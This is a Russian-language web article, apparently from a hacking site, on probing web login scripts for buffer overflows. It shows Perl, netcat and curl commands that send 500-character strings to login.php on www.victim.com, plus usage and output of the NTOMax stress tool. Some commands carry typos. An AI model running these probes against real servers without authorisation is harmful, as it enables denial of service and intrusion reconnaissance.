Переполнение буфера при выполнении сценариев
  • Категории
  • Подписка
  • Разместить статью
21/07/11 1 6402 Взлом средств проверки вводимы данных
-

Переполнение буфера при выполнении сценариев

Для выполнения взлома данного типа нужно всего лишь попытаться ввести как можно больше символов в поле ввода. Это самый грубый и неэлегантный взлом, однако его можно использовать в случае, когда приложение выдает пользователю информацию об ошибке. Взлому данного типа широко подвержены приложения, написанные на языке Perl. В этом языке достаточно просто с помощью одной команды создать строку ввода любой длины (ааааааа… повторяется 500 раз):

$perl –e   ‘prirt   “a”   x  500’

С помощью сценария, написанного на языке Perl, можно создать HTTP-запрос или же воспользоваться для этих целей утилитой netcat. Этот запрос необходимо ввести в строке ввода вместо корректного параметра, заключив его в символы обратной кавычки (`). Рас­смотрим следующий пример:

$echo –e  “GET /login.php?user=faustus\nHTTP/1.0\n\n” | \
nc –vv www.victim.com 80

Далее показан пример исполнения Perl-сценария, вызываемого из командной строки:

$echo –е “GET /login.php?user=\
>`perl –e ‘print “a” x 500’´\nHTTP/l.0\n\n” | \
nc –vv www.victim.com 80

Этот простой сценарий посылает 500 раз символ к файлу login.php. Самое замечатель­ное – это то, что данный сценарий может использоваться из командной строки любой UNIX-системы (или в пакете Cygwin под Windows). Например, применяя данный метод с программой curl, можно решить проблему взлома узла, защищенного с помощью протокола SSL:

$curl   https://www.victim.com/login.php?user=`perl –e ‘print “a” x 500’´

Кроме того, существует программа NTOMax, которая обеспечивает более широкие воз­можности для проведения проверки переполнения буфера. Преимуществом данного инстру­мента является то, что он поддерживает выполнение сценариев.

Скачать NTOMax 2.0:

Далее приведен простейший пример использования данной софтины (а точнее список возможностей):

C:\NTOMax20>NTOMax.exe /?
Seek and Destroy - Information Warfare
NTOMax v2.0 - Copyright(c) 1999, Foundstone, Inc.
Server stress tester for buffer overflow/DOS conditions
Programming by JD Glaser - All Rights Reserved
Usage - ntomax /s < script.txt > results.txt
/s = reads script from stdin
/? = Help
 
- Script Format -
host:[ip address],[port],[min],[max] = host parameters
Additional host parameters in order:
timeout - ms to wait for socket response - default = 0
delay - ms to wait before sending commands- default = 250
pause - ms to wait before receiving - default = 0
retnum - number of LF/CR's to end buffer - default is one
reopen - T/F reopen connection before each command
norecv - T/F no receive after intial connect - default is off
verbose - T/F verbose output- off by deault
trial - T/F diplay buffer w/o sending
Command synax:
c:[command text] = preloop coomands
lc:[command buffer] = loop commands
c:[command text] = post loop command
- Script Example -
host:12.12.12.2,80,400,500,5000,250,0,2,true,true
lc:GET /some * url/
lc:POST /some * url/
or a mail server example
host:12.12.12.2,110,40,50,5000,1000,4000,1,false,true
lc:user hac*ker
lc:pass hack*pass

Из приведенного примера видно, что главным преимуществом утилиты NTOMax являет­ся поддержка файлов сценариев. На первый взгляд, обилие параметров и сложность синтак­сиса сбивает с толку, однако эта сложность вызвана чрезвычайно широкими возможностями данной программы, которая позволяет создавать оптимальные сценарии для проверки при­ложения на наличие изъянов. Для обеспечения корректного синтаксиса HTTP значение retnum необходимо установить равным 2. При использовании команд c или lc можно ис­пользовать символ звездочки для задания размера буфера. В некоторых случаях строку из 400 символов N можно заменить символами звездочки. Но все же у программы NTOMax есть и недостатки. Главным недостатком является то, что пользователь не может изменить символ буфера. Ниже приведен пример, в котором проверяется максимальный размер переменной value в файле сценария login.php:

length for the “user” variable to the login.php file con­tains:host:192.168.0.1,22,100,500,4000,250,0,2,true,true,true,false
lc:GET  /login.php?user=* HTTP/1.0

Данный сценарий выполняется 100 раз (размер буфера 500 минус минимальный размер буфера 400 символов). Далее запускается программа NTOMax:

C:\NTOMax20>NTOMax.exe /s < script.txt
Seek and Destroy – Information Warfare
NTOMax v2.0 – Copyright(c) 1999, Foundstone, Inc.
*NOTICE – NTOMax is a stress test tool for professional administrators*
*Foundstone, Inc. assumes no liability for use/misuse of this tool*
Beginning scan on 192.168.0.1:80
Pinging host 192.168.0.1
Connecting…
Connected to 192.168.0.1 on 80
Starting test series...
Printing session values:
IP – 192.168.0.1
Port – 80
Min – 400
Max – 500
Timeout – 5000
Delay – 250
Loop Pause – 0
AddRet – 2
ReOpen – true
Verbose – true
TrialRun – false
Beginning loop command series...
Beginning loop test with 400 byte buffer...
Connected to 192.168.0.1 on 80
Trial Buffer – ‘GET/login.php?user=NNN...NNN HTTP/1.0
...продолжение тестирования для буферов длиной от 400 до 500...
Testing completed

После начала проверки приложения на наличие изъяна, обусловленного возможностью переполнения буфера, данное приложение начало возвращать различные сообщения об ошибках. Это могут быть ошибки типа “неверный пароль”, однако сведения, полученные в результате некоторых ошибок, могут нести важную информацию, такую как информация о граничных условиях для параметра user. При проверке приложения нужно придерживаться одного простого правила. Отправьте корректный запрос приложению и запишите его ответ. Отправьте первый буфер символов приложению и запищите результаты. Отошлите второй буфер и запишите результаты. И так далее. После того, как полученные ответы от приложе­ния не будут совпадать, проанализируйте ошибки. Это правило может помочь в обнаружении достаточно серьезных изъянов приложений (таких как ограничение в 7809 символов косой черты в URL-адресе).

В некоторых случаях взлом средств проверки вводимых данных может предоставить хаке­ру возможность выполнения произвольных команд на сервере.

Подводя итог, мож­но сказать, что в первом случае использование сценариев на языке Perl предоставляет пользо­вателю больше возможностей, однако для этого требуются более глубокие знания. При ис­пользовании утилиты NTOMax глубоких знаний не требуется, однако в этом случае возмож­ности пользователя ограничиваются возможностями программы.

Чаще всего взломы с использованием переполнения буфера осуществляют­ся «вслепую». Без доступа к приложению, без возможности исследования его в отладчике или просмотра системного журнала приложения очень труд­но провести взлом с переполнением буфера, в результате которого появля­ется возможность выполнения команд. Например, без полного доступа к приложениям не была бы обнаружена ошибка, приводящая к появлению возможности переполнения буфера в программе FrontPage Service Extension на платформе сервера MS.


Один комментарий на «“Переполнение буфера при выполнении сценариев”»

  1. Detective:

    Никогда не сталкивался с данной проблемой.

Добавить комментарий

Яндекс.Метрика